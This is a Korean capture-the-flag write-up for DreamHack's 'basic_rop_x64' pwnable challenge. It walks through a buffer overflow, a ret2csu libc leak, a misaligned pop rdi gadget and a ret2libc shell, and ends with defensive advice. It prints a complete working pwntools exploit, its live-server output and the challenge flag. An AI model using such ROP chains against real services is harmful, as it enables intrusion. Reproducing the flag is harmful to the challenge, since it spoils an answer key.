문제: DreamHack — basic_rop_x64 분류: Pwnable 난이도: 🥉 Bronze 2 FLAG:
DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}
이름 그대로 "기본 ROP" 문제인데, 정작 바이너리를 뜯어보면 기본적인 조각 하나가 빠져 있다. system("/bin/sh")를 부르려면 rdi에 문자열 주소를 넣어야 하는데, 이 작고 static-ish한 바이너리 어디에도 pop rdi; ret 같은 깔끔한 가젯이 안 보인다. 남은 건 __libc_csu_init뿐이다.

문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | basic_rop_x64 |
| 난이도 | 🥉 Bronze 2 |
| 분류 | Pwnable |
| 제공 | 64비트 ELF 바이너리 + 소스 + libc.so.6 + 원격 서버 |
| 보호 기법 | NX on · Stack Canary off · PIE off · Partial RELRO |
| 핵심 기법 | ret2csu 로 pop rdi 가젯 없이 3-인자 함수 호출 → libc leak → ret2libc |
카나리가 없어서 반환 주소를 덮는 것 자체는 아무 방해도 안 받는다. 문제는 NX가 켜져 있어 스택에 셸코드를 못 올린다는 것과, system을 부를 pop rdi;ret 가젯이 바이너리에 안 보인다는 것. __libc_csu_init의 레지스터 세팅 루틴으로 write(1, &GOT[read], 8)을 호출해 libc 주소를 흘리고, 명령어 중간 오프셋에 숨어 있는 가젯 하나를 찾아 system("/bin/sh")로 마무리한다.
🧩 배경 — NX, 그리고 "가젯이 없을 때"
**NX(No-eXecute)**는 스택 같은 데이터 영역에서 코드 실행을 막는 보호 기법이다. 켜져 있으면 스택에 셸코드를 올려도 실행 자체가 안 되니, 공격자는 바이너리·라이브러리에 이미 있는 코드 조각(가젯)을 이어 붙여 실행 흐름을 조립해야 한다 — 이게 ROP(Return Oriented Programming)다.
리눅스 x86-64 함수 호출 규약(System V ABI)은 첫 세 정수 인자를 rdi, rsi, rdx 순으로 넘긴다. system("/bin/sh")처럼 인자 하나짜리 호출도 rdi를 원하는 값으로 채울 방법이 있어야 하는데, 컴파일러가 넉넉하게 코드를 짜는 큰 바이너리라면 우연히 pop rdi; ret 한 줄 정도는 어디선가 나온다. 이 문제는 그런 여유가 없는 작은 바이너리다. checksec부터 확인해 본다.
pwn checksec ./basic_rop_x64
No PIE라 코드 주소가 고정이고, No canary라 반환 주소까지 바로 덮을 수 있다. 유일한 장애물은 NX enabled 하나뿐이다.
🔬 코드 정찰
소스는 정말 짧다.
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize(); // setvbuf + alarm(30)
read(0, buf, 0x400); // buf는 0x40인데 0x400을 읽는다 — BOF
write(1, buf, sizeof(buf)); // 처음 0x40바이트만 그대로 되돌려줌
return 0;
}buf는 0x40바이트인데 read는 0x400바이트를 받는다. 카나리가 없으니 저장된 rbp와 반환 주소까지 그대로 덮인다. 디스어셈블로 정확한 스택 배치를 확인한다.
objdump -d -M intel ./basic_rop_x64 --start-address=0x4007ba --stop-address=0x40081a
lea rdx,[rbp-0x40]으로 buf가 rbp-0x40에 있는 걸 알 수 있다. 저장된 rbp(8바이트)까지 합치면 buf에서 반환 주소까지 거리는 0x40 + 8 = 0x48. 이 오프셋 뒤에 원하는 주소를 얼마든지 이어 붙일 수 있다.
write(1, buf, 0x40)은 그냥 우리가 보낸 처음 0x40바이트를 그대로 돌려줄 뿐이라 여기선 leak에 못 쓴다 — 정보 노출은 우리가 직접 만들어야 한다.
🧱 배경 — 스택 버퍼 오버플로우
버퍼 경계를 넘는 입력이 인접한 스택 데이터(저장된 rbp, 반환 주소)를 그대로 덮어쓰는 게 BOF의 본질이다.

출처: Wikimedia Commons, CC BY-SA 2.0
이 문제는 카나리도 없고 PIE도 꺼져 있어서 BOF 자체의 난이도는 낮다. 진짜 문제는 그다음 단계 — NX 때문에 셸코드를 못 쓰니, 덮어쓴 반환 주소가 가리킬 곳을 코드 안에서 찾아야 한다는 점이다.
💣 핵심 — ret2csu 로 인자 3개 채우기
왜 하필 __libc_csu_init인가
nm/objdump로 바이너리를 뒤져도 pop rdi; ret이 단독으로는 안 보인다. 대신 정적 링크 스텁인 __libc_csu_init이 있다 — glibc가 .init_array의 각 초기화 함수를 호출할 때 쓰는 범용 루프인데, 이 루프의 어셈블리가 우연히도 최고의 ROP 가젯 창고다.
objdump -d -M intel ./basic_rop_x64 --start-address=0x400860 --stop-address=0x400885
두 조각이 붙어 있다.
csu_pop(0x40087a):pop rbx,rbp,r12,r13,r14,r15; ret— 레지스터 6개를 한 번에 채운다.csu_call(0x400860):mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+rbx*8]—r13/r14/r15를rdx/rsi/edi로 옮긴 뒤r12+rbx*8주소의 함수 포인터를 호출한다.
csu_pop으로 여섯 레지스터를 세팅하고 csu_call로 뛰어들면, rdx·rsi·edi 세 인자를 동시에 채운 채로 임의의 함수 포인터를 호출할 수 있다 — 이게 ret2csu다. rbx=0, rbp=1로 맞추면 call [r12+0]을 정확히 한 번만 실행하고 빠져나온다.
이 문제에서 부를 함수는 write(fd, buf, len). GOT에서 write의 실제 주소를 가져와 r12에 넣고, r13=8(길이), r14=&GOT[read](leak 대상), r15=1(fd=stdout)로 채우면 write(1, &GOT[read], 8)이 실행되어 read()의 실제 libc 주소 8바이트가 소켓으로 그대로 되돌아온다.
python3 -c "
from pwn import ELF
e = ELF('./basic_rop_x64', checksec=False)
print('got_read ', hex(e.got['read']))
print('got_write', hex(e.got['write']))
"got_read 0x601030
got_write 0x601020puts(got_read)처럼 문자열 함수로 leak하면 주소에 널바이트가 섞였을 때 중간에 잘릴 위험이 있는데, write는 길이를 직접 지정하니 8바이트가 항상 통째로 나온다.
leak이 끝나면 csu_pop의 에필로그가 다시 레지스터 6개를 pop한 뒤 ret으로 돌아온다는 점도 페이로드에 반영해야 한다 — 이어서 스택 정렬용 ret 가젯(0x4005a9) 하나를 더 넣고 main으로 복귀시키면, 카나리도 없고 전역 상태도 거의 그대로라 프로그램이 처음부터 다시 실행되는 것처럼 두 번째 입력을 또 받는다.
숨어 있던 pop rdi; ret
libc 주소를 확보했으니 이제 system(binsh_addr)만 부르면 된다. csu_pop은 rdi를 직접 채워주지 않으니 다른 가젯이 필요한데, __libc_csu_init 끝자락을 1바이트 어긋나게 읽으면 답이 나온다.
objdump -d -M intel ./basic_rop_x64 --start-address=0x400880 --stop-address=0x400885
xxd -s 0x883 -l 2 basic_rop_x64
objdump가 보여주는 정식 명령은 pop r14; pop r15; ret(41 5e / 41 5f / c3)이다. 그런데 x86은 가변 길이 명령어라 아무 바이트에서나 실행을 시작할 수 있다. 0x400883은 41 5f(pop r15)의 두 번째 바이트, 즉 0x5f 하나다. REX 프리픽스(0x41) 없이 0x5f는 그냥 pop rdi고, 바로 뒤에 c3(ret)가 이어진다.
0x400883: 5f c3 → pop rdi ; ret바이너리 어디에도 "설계된" pop rdi;ret은 없지만, pop r15라는 다른 명령의 몸통 속에 우연히 하나가 겹쳐 있던 셈이다. system도 자기 내부에서 스택 정렬을 요구하니, 여기에도 ret 가젯(0x4005a9) 한 칸을 끼워 16바이트 정렬을 맞춘 뒤 system을 호출한다.
🎯 익스플로잇 설계
전체 흐름을 정리하면 이렇다.
1단계 페이로드 — 'A'×0x48 패딩 → csu_pop → (rbx=0, rbp=1, r12=&GOT[write], r13=8, r14=&GOT[read], r15=1) → csu_call → dummy×6(에필로그가 다시 pop) → ret_gadget(정렬) → main.
서버가 이 페이로드를 처리하면 원래 main의 write(1, buf, 0x40) 에코가 먼저 오고, 곧이어 우리가 주입한 write(1, &GOT[read], 8) 결과가 이어서 온다. 앞의 에코를 버리고 뒤의 8바이트만 취하면 read()의 실제 주소다.
io.send(payload)
io.recvn(BUF, timeout=5) # main() 자신의 echo (우리가 보낸 패딩) 버림
leak = io.recvn(8, timeout=5)
read_addr = u64(leak.ljust(8, b'\x00'))
libc.address = read_addr - libc.symbols['read']2단계 페이로드 — 'A'×0x48 패딩 → pop_rdi_ret(0x400883) → binsh_addr → ret_gadget(정렬) → system_addr. main이 다시 열어 준 두 번째 입력창에 이걸 보내면 system("/bin/sh")가 떨어진다.
🚀 Full Exploit
실제로 돌린 solve.py. pwntools의 ELF로 GOT·libc 심볼을 그대로 가져와 오프셋 계산을 손으로 하지 않는다.
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
HOST = args.HOST or '127.0.0.1'
PORT = int(args.PORT or 15000)
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')
io = remote(HOST, PORT)
BUF = 0x40
OFFSET = BUF + 8 # buf(0x40) + 저장된 rbp(8) = 반환 주소까지 거리
pop_rdi_ret = 0x400883 # pop rdi ; ret (pop r15 중간에서 재해석)
csu_pop = 0x40087a # pop rbx,rbp,r12,r13,r14,r15 ; ret
csu_call = 0x400860 # mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+rbx*8]
ret_gadget = 0x4005a9 # 스택 정렬용 단독 ret
main = e.symbols['main']
got_read = e.got['read']
got_write = e.got['write']
# ---- 1단계: write(1, &got_read, 8) 로 libc leak 후 main 재진입 ----
payload = b'A' * OFFSET
payload += p64(csu_pop)
payload += p64(0) # rbx = 0 -> call [r12 + 0]
payload += p64(1) # rbp = 1 -> 루프 정확히 1회
payload += p64(got_write) # r12 = write 의 GOT 슬롯 (호출 대상)
payload += p64(8) # r13 -> rdx = 8 (길이)
payload += p64(got_read) # r14 -> rsi = &got_read (leak 대상)
payload += p64(1) # r15 -> edi = 1 (fd)
payload += p64(csu_call)
payload += p64(0) * 6 # csu_pop 에필로그가 다시 pop 하는 6개 레지스터
payload += p64(ret_gadget) # main 재진입 전 16바이트 정렬
payload += p64(main)
io.send(payload)
io.recvn(BUF, timeout=5) # main() 자신의 write(1, buf, 0x40) 에코 버림
leak = io.recvn(8, timeout=5)
read_addr = u64(leak.ljust(8, b'\x00'))
log.success(f'leaked read() = {hex(read_addr)}')
libc.address = read_addr - libc.symbols['read']
log.success(f'libc base = {hex(libc.address)}')
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
# ---- 2단계: 바이너리 자신의 pop rdi;ret 가젯으로 system("/bin/sh") ----
payload2 = b'A' * OFFSET
payload2 += p64(pop_rdi_ret)
payload2 += p64(binsh_addr)
payload2 += p64(ret_gadget) # system() 내부 호출을 위한 정렬
payload2 += p64(system_addr)
io.send(payload2)
io.sendline(b'cat flag')
io.interactive()로컬에서 먼저 검증한다. 문제에 딸려 온 Dockerfile을 그대로 빌드해 실제 배포 환경과 동일한 조건에서 돌렸다.
FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
RUN apt-get update && apt-get -y install socat
...
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$userdocker build -t basic_rop_x64_local .
docker run -d -p 15000:10001 basic_rop_x64_local
python3 solve_auto.py HOST=127.0.0.1 PORT=15000캡쳐 자동화 환경은 진짜 tty가 아니라 io.interactive()가 멈춰 버려서, 캡쳐용으로는 io.interactive() 대신 recvrepeat로 출력을 받아 바로 종료하는 변형(solve_auto.py)을 썼다. ROP 체인 로직은 완전히 동일하다.

로컬 검증이 끝나면 그대로 실제 서버 주소만 바꿔 돌린다.
python3 solve_auto.py HOST=host3.dreamhack.games PORT=18803
[+] leaked read() = 0x7f8abe640980
[+] libc base = 0x7f8abe52c000
=== OUTPUT ===
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}
=== END ===로컬과 라이브 모두 libc base의 하위 12비트가 0x000으로 끝나는 게 보인다 — 리눅스 라이브러리는 항상 페이지(0x1000) 경계에 매핑되니, read()의 실제 주소에서 libc.symbols['read'] 오프셋을 빼면 그 정렬이 정확히 맞아떨어지는 게 leak이 성공했다는 방증이다.
FLAG:
DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}
📝 결론
가젯이 "안 보인다"는 게 "없다"는 뜻은 아니다.
이 문제의 핵심은 두 가지다. 하나는 pop rdi;ret 하나 없는 작은 바이너리에서도 __libc_csu_init이라는 범용 초기화 루틴이 사실상 만능 gadget 세트로 쓰인다는 것. glibc가 정적으로 링크하는 이 루틴은 어느 x86-64 바이너리에나 거의 똑같은 모양으로 존재해서, ret2csu는 특정 문제가 아니라 일반적으로 꺼내 쓸 수 있는 기법이다.
다른 하나는 x86의 가변 길이 명령어 구조 자체가 만드는 가젯이다. pop rdi;ret을 "설계"한 사람은 없지만, pop r15의 오피코드 두 번째 바이트가 우연히 pop rdi와 같은 값이라 원하는 가젯이 명령어 하나 속에 겹쳐 존재했다. 디스어셈블러가 보여주는 명령 경계는 실행 흐름이 그 경계를 지킬 때만 유효하다.
방어 관점에서 정리하면:
- BOF 자체를 막는 게 우선이다.
read(0, buf, 0x400)처럼 버퍼 크기와 무관한 길이를 받지 말고, 항상sizeof(buf)로 제한한다. 카나리·NX·ASLR은 전부 BOF가 이미 일어난 다음의 방어선일 뿐이다. - 가젯이 안 보인다고 안전한 게 아니다.
__libc_csu_init, PLT 스텁, 함수 프롤로그/에필로그 등 컴파일러가 항상 만들어내는 코드 조각만으로도 임의 함수 호출 체인을 짤 수 있다. Full RELRO + PIE + Canary가 동시에 갖춰져야 이런 체인이 현실적으로 막힌다. - libc 버전을 흘리지 않는 게 중요하다. 이번 문제도 결국 8바이트 leak 한 번으로
system·/bin/sh주소가 전부 계산됐다. 임의의 함수 포인터를 소켓으로 되돌려주는 동작(write,puts, 에러 메시지의 주소 노출 등)은 하나만 있어도 ASLR이 사실상 무력화된다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…